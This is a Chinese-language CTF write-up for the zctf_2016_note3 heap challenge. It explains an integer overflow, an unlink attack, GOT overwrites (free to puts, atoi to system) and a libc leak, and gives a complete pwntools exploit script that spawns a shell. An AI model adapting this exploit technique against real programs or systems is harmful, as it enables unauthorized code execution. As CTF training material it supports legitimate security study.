一道典型的unlink题目整形溢出因为i是无符号长整型如果输入-1就会变得巨大实现堆溢出这里应该可以用unlink泄露libc基址然后用fastbin attack打malloc_hook但是这里有多次写入的edit功能就很好做了
先申请4个chunk
然后unlink一个指针到bss段上
unlink的操作fake chunk的fd和bk必须指回自己也就是一个确定的值具体为
fake chunk
fd=&p-0x18
bk=&p-0x10
还有需要注意prev_size和size的inuse位
完成后改写free_got为put_plt然后再次写入第二个chunk为atoi然后泄露再次写入atoi为system即可获取shell
exp:
#!/usr/bin/python2
from pwn import *
local=1
if local==1:
p=process('../binary/zctf_2016_note3')
elf=ELF('../binary/zctf_2016_note3')
libc=elf.libc
else:
p=remote('node3.buuoj.cn',28100)
elf=ELF('../binary/zctf_2016_note3')
libc=elf.libc
def add(size,content):
p.sendlineafter('>>\n','1')
p.sendlineafter('1024)\n',str(size))
p.sendlineafter('content:\n',content)
def show():
p.sendlineafter('>>\n','2')
def edit(idx,content):
p.sendlineafter('>>\n','3')
p.sendlineafter('note:\n',str(idx))
p.sendlineafter('content:\n',content)
def delete(idx):
p.sendlineafter('>>\n','4')
p.sendlineafter('note:',str(idx))
lg=lambda address,data:log.success('%s: '%(address)+hex(data))
def exp():
payload=p64(0)+p64(0xb1)+p64(0x6020c8-0x18)+p64(0x6020c8-0x10)
add(0x90,payload) #0
add(0x0,'bbbb') #1
add(0x90,'cccc') #2
add(0x18,'dddd')
delete(1)
payload=p64(0)*2+p64(0xb0)+p64(0xa0)
add(0,payload)
delete(2)
edit(0,p64(0)*2+p64(elf.got['free'])*2+p64(elf.got['atoi'])+p64(0)+p64(elf.got['atoi']))
show()
edit(0,p64(elf.plt['puts'])[:-1])
delete(1)
atoi=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=atoi-libc.sym['atoi']
lg('libcbase: ',libcbase)
system=libcbase+libc.sym['system']
edit(3,p64(system)[:-1])
p.sendline('/bin/sh\x00')
p.interactive()
if __name__=="__main__":
exp()